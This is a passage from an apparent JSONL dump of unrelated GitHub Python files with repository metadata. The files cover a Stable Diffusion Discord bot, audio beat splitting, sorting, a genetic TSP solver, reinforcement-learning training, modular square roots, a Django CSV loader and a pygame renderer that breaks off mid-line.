{os.getcwd()}/InvokeAI/scripts/invoke.py --from_file \"{os.getcwd()}/prompt.txt\" && conda deactivate'\n\t\t\t# print('this is me, calling stable diffusion...')\n\t\t\tprint(f'prompt: {CUR_PROMPT}')\n\t\t\tos.system('rm prompt.txt')\n\t\t\twith open('prompt.txt', 'w') as fp:\n\t\t\t\tfp.write(CUR_PROMPT)\n\n\t\t\t# print(os.getcwd())\n\t\t\t# print(cmd)\n\t\t\ttry:\n\t\t\t\tp = subprocess.Popen(\n\t\t\t\t\tcmd,\n\t\t\t\t\tshell=True,\n\t\t\t\t\tcwd=f'{os.getcwd()}/InvokeAI/',\n\t\t\t\t\texecutable='/bin/bash',\n\t\t\t\t\tstdout=subprocess.PIPE, \n\t\t\t\t\tstderr=subprocess.PIPE\n\t\t\t\t)\n\t\t\t\tout, err = p.communicate(timeout=600)\n\t\t\t\tp.kill()\n\t\t\texcept subprocess.TimeoutExpired:\n\t\t\t\tprint('timeout expireeded')\n\t\t\t\tp.kill()\n\t\t\t\tout, err = p.communicate()\n\t\t\t\t# needs to be handled by parent try-catch\n\t\t\t\tprint('first exception hit')\n\t\t\t\traise Exception('AHHHHHHHHHHHHHHHH')\n\t\t\t\tbreak;\n\n\t\t\t# un comment this to debug\n\t\t\t# throws error on printing 'err' if blank\n\t\t\t# try:\n\t\t\t# \tprint('\\n')\n\t\t\t# \tprint('out:')\n\t\t\t# \tprint(out.decode('ascii'))\n\t\t\t# \tprint('err:')\n\t\t\t# \tprint(err.decode('ascii'))\n\t\t\t# \tprint('\\n')\n\t\t\t# except:\n\t\t\t# \tprint('o well')\n\t\t\t# print('finished calling SD')\n\n\t\t\ttry:\n\t\t\t\t# returns full path to imgs\n\t\t\t\timgs = glob.glob(f'{os.getcwd()}/outputs/*.png')\n\n\t\t\t\tif len(imgs) > 0:\n\t\t\t\t\t# post all images to discord\n\t\t\t\t\tfor i in range(len(imgs)):\n\t\t\t\t\t\tos.system(f'mv {imgs[i]} ./outputs/output{i}.png')\n\t\t\t\t\t\tbot.post_sd_output(f'./outputs/output{i}.png', user, CUR_PROMPT)\n\t\t\t\t\t\tsleep(4)\n\t\t\t\t\tsleep(5) # should wait until the bot has posted to the channel\n\t\t\t\t\t# delete all images\n\t\t\t\t\tfor i in range(len(imgs)):\n\t\t\t\t\t\tos.system(f'rm ./outputs/output{i}.png')\n\t\t\t\telse:\n\t\t\t\t\tbot.post_sd_output('err', user, CUR_PROMPT)\n\t\t\texcept Exception as e:\n\t\t\t\t# have this handled by parent try catch\n\t\t\t\tprint('second exception hit')\n\t\t\t\tprint(e)\n\t\t\t\tbreak\n\n\t\t\tCUR_PROMPT = ''\n\t\t\tRUNNING = False\n\t\tsleep(1)\n\n\ndef get_status():\n\treturn f'running: \"{CUR_PROMPT}\"'\n\ndef clean_up():\n\tpass\n","repo_name":"simpsom0/stable_diffusion_bot","sub_path":"query_sd.py","file_name":"query_sd.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"4160780380","text":"import librosa as lb\nimport librosa.display\nimport pandas as pd\nimport numpy as np\nimport os\nimport csv\nimport matplotlib.pyplot as plt\nfrom pydub import AudioSegment\nimport shutil\n\n\n\n# 90 bpm = 1.5 bps; 44100 samples per sec, so 66150 samples per beat.\n# hop_length set to 44100 (exactly 2/3 of samples per beat) to avoid catcing half-beats\ndef detect_beats(parent, filename, hop_length=44100, start_bpm=85, units='time'):\n    \"\"\"Load audio file from given path, detect tempo and beats.\n    \n    Args:\n    filepath (str): location of audio file to read\n    hop_length (int, default 44100): number of samples between successive onsets\n    start_bpm (int, default 85): initial guess for the tempo estimator\n\n    Returns:\n    tempo (int, in bpm), beats (np.ndarray, in milliseconds)\n    \"\"\"\n    y, sr = lb.load(parent + filename)\n    tempo, beats = lb.beat.beat_track(y, sr, units='time', start_bpm=start_bpm)\n\n    if not 115 > tempo > 80:\n        print('WARNING: tempo detected not between 80 and 115 BPM')\n    return tempo, beats * 1000\n\n\ndef group_beats(beats, group_size=2):\n    \"\"\"Delete every nth beat\"\"\"\n    return np.delete(beats, slice(None, None, group_size))\n\n\ndef split_audio_into_bars(parent, filename, bar_indexes):\n    \"\"\"Split a given wav file into segments based on given start locations.\"\"\"\n    save_name = parent +'chunks/' + filename[:-4]\n\n    audio_file = AudioSegment.from_wav(parent + filename)\n\n    # gears = np.loadtxt(open(parent + 'gears/' + filename[:-4] + '_gears.csv', 'rb'), delimiter=',')\n\n    chunk_list = []\n    # save from each index to the next as a separate file\n    for i in range(len(bar_indexes) - 1):\n        chunk = audio_file[bar_indexes[i]:bar_indexes[i+1]]\n        # if gears[i] == 0:\n        #     chunk_name =  save_name + '_bar_' + str(i) + '_0'\n        # else:\n        #     chunk_name =  save_name + '_bar_' + str(i) + '_1'\n        chunk_name =  save_name + '_bar_' + str(i) + '.wav'\n        chunk.export(chunk_name, format='wav')\n        chunk_list.append(chunk_name)\n\n    return chunk_list\n\n\ndef move_chunks_to_dirs(parent):\n    \"\"\"Move audio chunks to subdirectories based on final character being 1 or 0.\"\"\"\n    files = os.listdir(path=parent)\n\n    for filename in files:\n        class_num = filename.split('_')[0][-1]\n        if class_num == '0' or class_num == '1':\n            shutil.move(parent + filename, parent + '/' + class_num + '/' + filename)\n        else:\n            pass\n\n\ndef save_spectrogram(filepath, cmap='plasma'):\n    \"\"\"Create spectrogram from audio file at specified path, using specified colormap.\n    \n    Args:\n    filepath (str): location of audio file\n    cmap (str): matplotlib cmap name (default 'plasma')\n    \n    Returns:\n    nothing\n    \"\"\"\n    y, sr = lb.load(filepath)\n    D = lb.stft(y, hop_length=256, n_fft=4096)\n    S_db = lb.amplitude_to_db(np.abs(D), ref=np.max)\n\n    fig, ax = plt.subplots()\n    lb.display.specshow(S_db, y_axis='log', ax=ax, cmap=cmap)\n\n    fig.savefig(filepath[:-4] + '.png')\n    plt.close(fig)\n    del fig\n    \n\ndef all_wavs_in_dir_to_2_beat_chunks(path):\n    for filename in os.listdir(path):\n        if filename.endswith('.wav'):\n            # get tempo and beat indexes from file\n            tempo, beats = detect_beats(path, filename)\n            # get every 2nd beat index\n            bar_indexes = group_beats(beats)\n            # split file by bar indexes and save csv list of those chunks\n            chunk_list = split_audio_into_bars(path, filename, bar_indexes)\n            print('chunk list: ', chunk_list)\n\n            # plot spectrogram of each chunk\n            # for chunk in chunk_list:\n            #     save_spectrogram(chunk)\n\n            \n\n\nif __name__ == \"__main__\":\n\n    path = '/home/ww/Documents/projects/timba-gear-detection/data/audio/400_chunks/1/'\n\n    # all_wavs_in_dir_to_2_beat_chunks(path)\n    \n\n    for filename in os.listdir(path):\n        if filename.endswith('.wav'):\n            save_spectrogram(path + filename)\n        \n\n\n\n","repo_name":"wkosmos/timba-gear-detection","sub_path":"src/data_prep_functions.py","file_name":"data_prep_functions.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"36666963715","text":"\"\"\"\nGiven an array of integers nums, sort the array in ascending order.\n\nExample 1:\n\nInput: nums = [5,2,3,1]\nOutput: [1,2,3,5]\nExample 2:\n\nInput: nums = [5,1,1,2,0,0]\nOutput: [0,0,1,1,2,5]\n \n\nConstraints:\n\n1 <= nums.length <= 50000\n-50000 <= nums[i] <= 50000\n\"\"\"\n\n\ndef sortArray(nums):\n    n = len(nums)\n    for i in range(n):\n        for j in range(n - 1 - i):\n            if nums[j] > nums[j + 1]:\n                nums[j], nums[j + 1] = nums[j + 1], nums[j]\n    return nums\n\n\nprint(sortArray([5, 1, 1, 2, 0, 0]))\n","repo_name":"gp02gp03/python-leetcode","sub_path":"Sorted/Bubble Sort/912. Sort an Array.py","file_name":"912. Sort an Array.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16314932063","text":"import sys\nimport os\nsys.path.append(os.path.dirname(__file__)+'/'+'..')\n\nimport parseHelper.LuaType as lt\nimport parseHelper.RuleType as rt\nRULES=rt.NormalRule({\n    \"物品名\" :{\"to\" : \"name\" , \"type\" : lt.LuaStr },\n    \"描述\" :{\"to\" : \"desc\" , \"type\" : lt.LuaBlockStr },\n    \"图片\" :{\"to\" : \"pic\" , \"type\" : lt.LuaStr },\n    \"类型\" :{\"to\" : \"type\" , \"type\" : lt.LuaInt },\n    \"物品等级\" :{\"to\" : \"level\" , \"type\" : lt.LuaInt },\n    \"贩卖价格\" :{\"to\" : \"price\" , \"type\" : lt.LuaInt },\n    \"是否掉落\" :{\"to\" : \"drop\" , \"type\" : lt.LuaBool },\n    \"投掷范围\" :{\"to\" : \"castSize\" , \"type\" : lt.LuaInt },\n    \"覆盖范围\" :{\"to\" : \"coverSize\" , \"type\" : lt.LuaInt },\n    \"冷却\" :{\"to\" : \"cd\" , \"type\" : lt.LuaInt },\n    \"天赋\" :{\"to\" : \"talent\" , \"type\" : lt.LuaStr },\n    \"extend1\":rt.ExtendRule(1,4,\"trigger\",\"效果ID[index]\",\"效果值[index]\",{\n            \"效果ID[index]\": {\"to\" : \"name\" ,\"type\" : lt.LuaStr},\n            \"效果值[index]\": {\"to\" : \"argvs\" ,\"type\" : lt.LuaStr},\n    }),\n    \"extend2\":rt.ExtendRule(1,4,\"need\",\"需求ID[index]\",\"需求值[index]\",{\n            \"需求ID[index]\": {\"to\" : \"name\" ,\"type\" : lt.LuaStr},\n            \"需求值[index]\": {\"to\" : \"argvs\" ,\"type\" : lt.LuaStr},\n    }),\n\n})\n\nBUILD=\\\n[\n    #构造任务\n    {\n        #构造目标\n        \"target\" : \"item\",\n        #源文件\n        \"source\": [\"W物品.xlsx\"],\n        #sheet对应的构造规则\n        \"sheet\": [\n            (\"装备\" , RULES),\n            (\"秘籍\" , RULES),\n            (\"药品\" , RULES),\n            (\"其他\" , RULES),\n        ]    \n    }\n\n]","repo_name":"CppCXY/jyGameXreMake","sub_path":"jinxExcel/translateRule/item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"57"}
+{"seq_id":"72633313139","text":"import matplotlib.pyplot as plt\nimport random\nimport numpy as np\nimport secrets\n# dj38 - djibouti\n# wi29 - western sahara\n\n\"\"\"Wczytywanie pliku. Nie wiem czemu na tej stronie z danymi rysunki sa obocone \nw lewo o 90 stopni dlatego troche inaczej wyglada. \"\"\"\n\n\nclass City:\n    def __init__(self, x, y, id):\n        self.x = x\n        self.y = y\n        self.id = id\n\n    def distance(self, city):\n        \"\"\"Get distance between this city and another\"\"\"\n        distance = distanceTable[self.id][city.id]\n        return distance\n\n    def __repr__(self):\n        return \"(City \" + str(self.id) + \")\"\n\n    def __lt__(self, other):\n        return random.random() < random.random()\n\n\ndef generate_distance_table(cities):\n    table = np.zeros((totalCities, totalCities))\n    for i in range(totalCities):\n        curr_city = cities[i]  # now doing outgoing connections from this city\n        for j in range(totalCities):\n            xDis = abs(curr_city.x - cities[j].x)\n            yDis = abs(curr_city.y - cities[j].y)\n            distance = np.sqrt((xDis ** 2) + (yDis ** 2))\n            variation = int(distance / 5)\n            table[i][j] = distance + random.randint(-variation, variation)\n            if table[i][j] < 0:\n                table[i][j] = 0\n    return table\n\n\ndef get_fitness(route):\n    routeDistance = 0\n    for i in range(len(route)):\n        routeDistance += route[i].distance(route[(i+1) % totalCities])\n    return 1/routeDistance\n\n\n# Krzyżowanie OX -> https://intellipaat.com/community/21890/order-crossover-ox-genetic-algorithm\n# length -> ilość miast w badanym kraju, start i end to pierwsza i ostatnia pozycja z kroku 1. w linku\ndef ox_crossover(parent1, parent2, length, start, end):\n\n    # Przekopiowanie losowego fragmentu parent1 do dziecka\n    child = [1000] * length\n    for i in range(start, end + 1):\n        child[i] = parent1[i]\n\n    # Przepisanie do dziecka po kolei elementów parent2, których jeszcze w dziecku nie ma\n    for i in range(length):\n        used = False\n        for j in range(length):\n            if child[j] == parent2[i]:\n                used = True\n        if used is False:\n            for j in range(length):\n                if child[j] == 1000:\n                    child[j] = parent2[i]\n                    break\n    return child\n\n\n# Krzyżowanie PMX -> http://www.rubicite.com/Tutorials/GeneticAlgorithms/CrossoverOperators/PMXCrossoverOperator.aspx/\ndef pmx_crossover(parent1, parent2, length, start, end):\n\n    # KROK 1 Przekopiowanie losowego fragmentu parent1 do dziecka\n    child = [1000] * length\n    for i in range(start, end + 1):\n        child[i] = parent1[i]\n\n    # KROK 2 Przeszukanie obszaru w parent2\n    for i in range(start, end + 1):\n        present = False\n        for j in range(start, end + 1):\n            if child[j] == parent2[i]:\n                present = True\n        val = parent1[i]\n        while present is False:\n            for j in range(length):\n                if parent2[j] == val:\n                    if j < start or j > end:\n                        child[j] = parent2[i]\n                        present = True\n                    else:\n                        val = parent1[j]\n\n    # KROK 3 Wypełnienie reszty miejsc po kolei wartościami z parent2\n    for i in range(length):\n        used = False\n        for j in range(length):\n            if child[j] == parent2[i]:\n                used = True\n        if used is False:\n            for j in range(length):\n                if child[j] == 1000:\n                    child[j] = parent2[i]\n                    break\n    return child\n\n\n# List of all cities loaded from file\ncities = []\n\nf = open(\"dj38.txt\")\nfor i, line in enumerate(f):\n    line = line.split()\n    cities.append(City(float(line[1]), float(line[2]), i))\n\ntotalCities = len(cities)\ndistanceTable = generate_distance_table(cities)\npopulationSize = 200\niterations = 200\neliteSize = int(populationSize / 4)\npc = 0.8  # Crossover probability\npm = 0.01  # Mutation probability\n\n# Initial population\nroutes = []\nfor i in range(populationSize):\n    routes.append(random.sample(cities, len(cities)))\n\nfittest_individuals = []  # For plotting\nfitness_average = []\n\nfor n in range(iterations + 1):\n\n    # Get fitness of each route\n    fitness = []\n    for f in range(populationSize):\n        fitness.append(get_fitness(routes[f]))\n\n    fittest_individuals.append(1/max(fitness))  # Remember shortest route for plotting\n    indx_max = np.argmax(fitness)\n    final_route = routes[indx_max]\n\n    # Na razie ruletka, czytałem że rangowo-ruletkowa jest dobra\n    # Get parents\n    parents = []\n    fitnessSum = sum(fitness)\n    fitnessAverage = fitnessSum/populationSize\n    fitness_average.append(fitnessAverage)\n    fitnessNormalized = [x / fitnessSum for x in fitness]\n\n    # Sort fitness and corresponding routes in ascending order (lowest fitness/route first)\n    fitnessNormalized, routes = (list(t) for t in zip(*sorted(zip(fitnessNormalized, routes))))\n    distributionFunction = np.cumsum(fitnessNormalized)\n\n    # Copy elite\n    for i in range(1, eliteSize + 1):\n        parents.append(routes[-i])\n\n    # Roulette\n    for i in range(eliteSize, populationSize):\n        r = float(secrets.randbelow(100)) / 100.  # from 0 to 0.99\n        for j in range(0, populationSize):\n            if r <= distributionFunction[j]:\n                parents.append(routes[j])\n                break\n\n    # Crossover\n    new_population = []\n    method = 'ox'\n\n    for i in range(int(populationSize / 2)):\n        # if random.random() >= pc:\n        #     continue\n        start = random.randint(0, totalCities - 1)\n        end = random.randint(0, totalCities - 1)\n        if end < start:\n            end, start = start, end\n\n        if method == 'ox':\n            new_population.append(ox_crossover(parents[2 * i], parents[2 * i + 1], totalCities, start, end))\n            new_population.append(ox_crossover(parents[2 * i + 1], parents[2 * i], totalCities, start, end))\n        elif method == 'pmx':\n            new_population.append(pmx_crossover(parents[2 * i], parents[2 * i + 1], totalCities, start, end))\n            new_population.append(pmx_crossover(parents[2 * i + 1], parents[2 * i], totalCities, start, end))\n        else:\n            print(\"no crossover method\")\n            break\n\n    for new_member in new_population:\n        if float(secrets.randbelow(100)) / 100. < pm:\n            first_swap = random.randrange(totalCities)\n            second_swap = random.randrange(totalCities)\n            temp = new_member[first_swap]\n            new_member[first_swap] = new_member[second_swap]\n            new_member[second_swap] = temp\n\n    routes = new_population\n\n\nfig, ax1 = plt.subplots()\ncolor = 'tab:red'\nax1.set_xlabel(\"iteracja\")\nax1.set_ylabel('najlepszy dystans', color=color)\nax1.plot(fittest_individuals, color=color)\nax1.tick_params(axis='y', labelcolor=color)\nax1.ticklabel_format(axis='y', style='sci', scilimits=(1, 2))\nax2 = ax1.twinx()  # instantiate a second axes that shares the same x-axis\n\ncolor = 'tab:blue'\nax2.set_ylabel('średnie przystosowanie', color=color)  # we already handled the x-label with ax1\nax2.plot(fitness_average, color=color)\nax2.tick_params(axis='y', labelcolor=color)\nax2.ticklabel_format(axis='y', style='sci', scilimits=(-1, 0))\n\nfig.tight_layout()  # otherwise the right y-label is slightly clipped\n\nplt.figure()\ncities_x = [city.x for city in cities]\ncities_y = [city.y for city in cities]\nplt.scatter(cities_x, cities_y)\nfinal_route.append(final_route[0])  # Append first element to the end so it will plot the entire route\nroute_x = [city.x for city in final_route]\nroute_y = [city.y for city in final_route]\nplt.plot(route_x, route_y)\nplt.show()\n\n# plt.plot(fittest_individuals)\n# plt.xlabel(\"iteracja\")\n# plt.ylabel(\"najlepszy dystans\")\n# plt.show()\n","repo_name":"JanMikicki/ag_salesman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"42647269432","text":"import gym\nfrom pysc2_envs.envs import DZBEnv\n#from stable_baselines3.common.policies import MlpPolicy, CnnPolicy\nfrom stable_baselines3.common.vec_env import DummyVecEnv, SubprocVecEnv\nfrom stable_baselines3.common.torch_layers import BaseFeaturesExtractor\nfrom stable_baselines3 import A2C\nfrom absl import flags\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch as th\nimport torch.nn as nn\n\n# Make sure that the mini-game environment is working properly\nfrom stable_baselines3.common.env_checker import check_env\n\nFLAGS = flags.FLAGS\nFLAGS([''])\n\nif __name__ == '__main__': \n    # create vectorized environment\n    env = gym.make('defeat-zerglings-banelings-v0')\n    #check_env(env)\n    eng = DZBEnv()\n    ''' My attempt at making multiple environments for parallel training\n    def make_env():\n        def make():\n            env = gym.make('defeat-zerglings-banelings-v0')\n            return env\n        return make\n    env = SubprocVecEnv([make_env() for _ in range(2)])\n    print(\"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\")\n    '''\n    # use ppo2 to learn and save the model when finished\n    # https://stable-baselines3.readthedocs.io/en/master/guide/custom_policy.html\n    class CustomCNN(BaseFeaturesExtractor):\n        \"\"\"\n        :param observation_space: (gym.Space)\n        :param features_dim: (int) Number of features extracted.\n            This corresponds to the number of unit for the last layer.\n        \"\"\"\n        def __init__(self, observation_space: gym.spaces.Box, features_dim: int = 64):\n            super(CustomCNN, self).__init__(observation_space, features_dim)\n            # We assume CxHxW images (channels first)\n            # Re-ordering will be done by pre-preprocessing or wrapper\n            n_input_channels = observation_space.shape[0]\n            self.cnn = nn.Sequential(\n                nn.Conv2d(n_input_channels, 3, kernel_size=3, stride=1, padding=1),\n                nn.Dropout(p=0.2),\n                nn.BatchNorm2d(num_features=3),\n                nn.ReLU(),\n                nn.Conv2d(3, 3, kernel_size=3, stride=2, padding=0),\n                nn.Dropout(p=0.2),\n                nn.BatchNorm2d(num_features=3),\n                nn.ReLU(),\n                nn.Conv2d(3, 3, kernel_size=3, stride=2, padding=0),\n                nn.Dropout(p=0.2),\n                nn.BatchNorm2d(num_features=3),\n                nn.ReLU(),\n                nn.Flatten(),\n            )\n\n            # Compute shape by doing one forward pass\n            with th.no_grad():\n                n_flatten = self.cnn(\n                    th.as_tensor(observation_space.sample()[None]).float()\n                ).shape[1]\n\n            self.linear = nn.Sequential(nn.Linear(n_flatten, 128), nn.ReLU())\n            self.linear = nn.Sequential(nn.Linear(n_flatten, 32), nn.ReLU())\n\n        def forward(self, observations: th.Tensor) -> th.Tensor:\n            return self.linear(self.cnn(observations))\n\n    '''\n    policy_kwargs = dict(\n        features_extractor_class=CustomCNN,\n        features_extractor_kwargs=dict(features_dim=32),\n    )\n    '''\n    # MLP Policy\n    policy_kwargs = dict(activation_fn=th.nn.ReLU,\n                     net_arch=[256, 128, 64])\n    model = A2C('MlpPolicy', env, verbose=0, tensorboard_log=\"log/\", n_steps=50, learning_rate=0.0005, policy_kwargs=policy_kwargs)\n    model_name = \"model/mlp-256-128-64\"\n    model.learn(total_timesteps=int(100000), tb_log_name=\"first_run\")\n    print(\"Training finished\")\n\n\n    # Save model\n    if not os.path.exists(\"./model\"):\n        os.makedirs(\"./model\")\n    model.save(model_name)\n    model.load(model_name)\n    env = gym.make('defeat-zerglings-banelings-v0')\n\n    all_rewards = []\n    for i in range(10):\n        obs = env.reset()\n        done = False\n\n        total_reward = 0\n        while not done:\n            action, _state = model.predict(np.reshape(np.array(obs), (1,7056)))\n            #action, _state = model.predict(np.array(obs))\n            obs, reward, done, info = env.step(action)\n            total_reward += reward\n            \n            print(action, reward)\n        print(total_reward)\n        all_rewards.append(total_reward)\n    print(all_rewards)\n\n    # How to view tensorboard\n    # tensorboard --logdir=log/first_run_1/\n\n","repo_name":"hyukahn16/DeepTransformers","sub_path":"gym_sc2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"10690152950","text":"def multiply(x, y, m):\n    return x * y % m\ndef power(x, y, p):\n    r = 1\n    x %= p\n    while y:\n        if y & 1:\n            r = (r * x) % p\n        y >>= 1\n        x = x ** 2 % p\n    return r\ndef tonelli_shanks(n, p):\n    if n == 0:\n        return 0\n    if power(n, (p - 1) // 2, p) != 1:\n        return -1\n    q = p - 1\n    s = 0\n    while not (q & 1):\n        s += 1\n        q >>= 1\n    for i in range(2, p):\n        if power(i, (p - 1) // 2, p) != 1:\n            z = i\n            break\n    m = s % p\n    c = power(z, q, p)\n    t = power(n, q, p)\n    r = power(n, (q + 1) // 2, p)\n    while True:\n        if t == 0:\n            return 0\n        if t == 1:\n            return r\n        i\n        temp = multiply(t, t, p)\n        for j in range(1, m):\n            if temp == 1:\n                i = j\n                break\n            temp = multiply(temp, temp, p)\n        b = power(c, power(2, m - i - 1, p - 1), p)\n        m = i % p\n        c = multiply(b, b, p)\n        t = multiply(t, c, p)\n        r = multiply(r, b, p)\nfor i in range(int(input())):\n    p, a0, a1 = map(int, input().split())\n    if p == 2:\n        if a0 == a1 == 0:\n            print('0 0')\n        elif a0 == 0 and a1 == 1:\n            print('0 1')\n        elif a0 == 1 and a1 == 0:\n            print('1 1')\n        else:\n            print(-1)\n        continue\n    k = ((a1 + p) // 2) if a1 & 1 else a1 // 2\n    n = (k ** 2 - a0 + p) % p\n    ans = tonelli_shanks(n, p)\n    if ans == -1:\n        print(-1)\n        continue\n    result_1 = (k + ans) % p\n    result_2 = (a1 - result_1 + p) % p\n    print(*sorted([result_1, result_2]))\n","repo_name":"jongpark1234/Baekjoon","sub_path":"17000/baekjoon_17603.py","file_name":"baekjoon_17603.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"39750443535","text":"import csv \n\n# https://django-extensions.readthedocs.io/en/latest/runscript.html\n\n# python3 manage.py runscript many_load\n\nfrom unesco.models import Category, State, Iso, Region, Site\n\n\ndef run():\n    fhand = open('unesco/whc-sites-2018-clean.csv')\n    reader = csv.reader(fhand)\n    next(reader)  # Advance past the header\n\n    Category.objects.all().delete()\n    State.objects.all().delete()\n    Iso.objects.all().delete()\n    Region.objects.all().delete()\n    Site.objects.all().delete()\n    \n    # Format\n    # name,description,justification,year,longitude,latitude,area_hectares,category,state,region,iso\n    # jane@tsugi.org,I,Python\n    # ed@tsugi.org,L,Python\n\n    for row in reader:\n        print(row)\n\n        c, created = Category.objects.get_or_create(name=row[7])\n        s, created = State.objects.get_or_create(name=row[8])\n        i, created = Iso.objects.get_or_create(name=row[10])\n        r, created = Region.objects.get_or_create(name=row[9])\n        n=row[0]\n        y=row[3]\n        d=row[1]\n        j=row[2]\n        lon=row[4]\n        lat=row[5]\n        a=row[6]\n        if row[6] == '':\n            a = None\n            \n        site = Site(name=n, year=y, description=d, justification=j, longitude=lon, latitude=lat,area_hectares=a, category=c, state=s, iso=i, region=r)\n        site.save()\n","repo_name":"musagordev/myfirstprojects","sub_path":"django-practices/batch/unesco/scripts/many_load.py","file_name":"many_load.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"10697136058","text":"import sqlite3\n\n\norders = (('Ford', 'Fiesta', '2016-03-05'),\n\t\t('Ford', 'Fiesta', '2016-12-12'),\n\t\t('Ford', 'Fiesta', '2017-01-01'),\n\t\t\n\t\t('Honda', 'Accord', '2015-09-23'),\n\t\t('Honda', 'Accord', '2017-11-02'),\n\t\t('Honda', 'Accord', '2016-10-25'),\n\t\t\n\t\t('Honda', 'CR-V', '2017-04-20'),\n\t\t('Honda', 'CR-V', '2017-11-09'),\n\t\t('Honda', 'CR-V', '2016-12-21'),\n\n\t\t('Ford', 'Mondeo', '2017-01-01'),\n\t\t('Ford', 'Mondeo', '2016-12-31'),\n\t\t('Ford', 'Mondeo', '2017-02-28'),\n\n\t\t('Ford', 'Mustang', '2015-09-27'),\n\t\t('Ford', 'Mustang', '2016-03-07'),\n\t\t('Ford', 'Mustang', '2015-05-22')\n\n\t)\n\n\nwith sqlite3.connect(\"cars.db\") as connection :\n\t\n\tcursor = connection.cursor()\n\tcursor.executescript(\"\"\"\n\t\tDROP TABLE IF EXISTS Orders;\n\t\tCREATE TABLE Orders(Make TEXT, Model TEXT, Order_date TEXT);\"\"\")\n\tcursor.executemany(\"INSERT INTO Orders VALUES(?, ?, ?)\", orders)\n\tcursor.execute(\"\"\"SELECT DISTINCT inventory.make, inventory.model,inventory.quantity, \n\t\torders.order_date FROM Orders, Inventory WHERE orders.model = inventory.model \n\t\tORDER BY orders.model ASC\"\"\")\n\n\trows = cursor.fetchall()\n\n\tfor i, r in enumerate(rows):\n\t\tif i % 3 == 0 :\n\t\t\tprint(\"\\nMake and model: \" + r[0] + \" \" + r[1])\n\t\t\tprint(\"Quantity: \" + str(r[2]))\n\t\t\tprint(\"Order dates: \")\n\t\tprint(r[3])\n\n\n\n","repo_name":"n0execution/RealPython","sub_path":"homework/orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"7376557021","text":"class Animal(object):\n    def __init__(self):\n        self.legs = 2\n        self.name = 'Dog'\n        self.color = 'Spotted'\n        self.smell = 'Alot'\n        self.age = 10\n        self.kids = 0\n        self._height = 113\n\n    @property\n    def height(self):\n        return self._height\n\n\ndef hello1():\n    an = Animal()\n    attrs = vars(an)\n    _attrs = dir(an)\n    # {'kids': 0, 'name': 'Dog', 'color': 'Spotted', 'age': 10, 'legs': 2, 'smell': 'Alot'}\n    # now dump this in some way or another\n    print(', '.join(\"%s: %s\" % item for item in attrs.items()))\n    for property, value in vars(an).iteritems():\n        print(property, \": \", value)\n\n\nif __name__ == '__main__':\n    hello1()\n","repo_name":"oudream/hello-python","sub_path":"hello/lang1/meta1.py","file_name":"meta1.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"33923844221","text":"import pygame as pg\nimport time\n\nclass SoftwareRender:\n\tdef __init__(self):\n\t\tpg.init()\n\t\tself.RES = self.WIDTH, self.HEIGHT = 1920, 1080     #Разрешение\n\t\tself.H_WIDTH, self.H_HEIGHT = self.WIDTH // 2, self.HEIGHT // 2     #Поверхность для отрисовки\n\t\tself.FPS = 60       #Кадры в секунду\n\t\tself.screen = pg.display.set_mode(self.RES)\n\t\tself.clock = pg.time.Clock()\n\t\tself.figure = [[[[300, 300, 10], [500, 300, 10], [300, 500, 10]] , 'yellow'], [[[400, 450, 10], [600, 450, 5], [300, 400, 50]] , 'black']]\n\t\tself.windows = []   #Стек окон\n\t\n\t#ПОМЕНЯТЬ\n\tdef getZ(self, fig, wind):\n\t\t\n\t\tcoord = [[wind[0], wind[1]], [wind[0], wind[1] + wind[3]], [wind[0] + wind[2], wind[1] + wind[3]], [wind[0] + wind[2], wind[1]]]\n\n\t\td = - (fig[0][0][0] * (fig[0][1][1] * fig[0][2][2] - fig[0][2][1] * fig[0][1][2]) + fig[0][1][0] * (fig[0][2][1] * fig[0][0][2] - fig[0][0][1] * fig[0][2][2]) + fig[0][2][0] * (fig[0][0][1] * fig[0][1][2] - fig[0][1][1] * fig[0][0][2]))\n\t\ta = fig[0][0][1] * (fig[0][1][2] - fig[0][2][2]) + fig[0][1][1] * (fig[0][2][2] - fig[0][0][2]) + fig[0][2][1] * (fig[0][0][2] - fig[0][1][2])\n\t\tb = fig[0][0][2] * (fig[0][1][0] - fig[0][2][0]) + fig[0][1][2] * (fig[0][2][0] - fig[0][0][0]) + fig[0][2][2] * (fig[0][0][0] - fig[0][1][0])\n\t\tc = fig[0][0][0] * (fig[0][1][1] - fig[0][2][1]) + fig[0][1][0] * (fig[0][2][1] - fig[0][0][1]) + fig[0][2][0] * (fig[0][0][1] - fig[0][1][1])\n\t\tz = -(d + a * coord[0][0] + b * coord[0][1]) / c\n\n\t\tmn = z\n\t\tmx = z\n\n\t\tfor i in range(1, len(coord)):\n\t\t\tz = -(d + a * coord[i][0] + b * coord[i][1]) / c\n\n\t\t\tif z > mx:\n\t\t\t\tmx = z\n\n\t\t\tif z < mn:\n\t\t\t\tmn = z\n\n\t\treturn mn, mx\n\n\t#ПОМЕНЯТЬ\n\tdef draw_func(self, dr, win):\n\t\tready  = True\n\t\tzmin, zmax = self.getZ(dr[0], win)\n\t\tn = 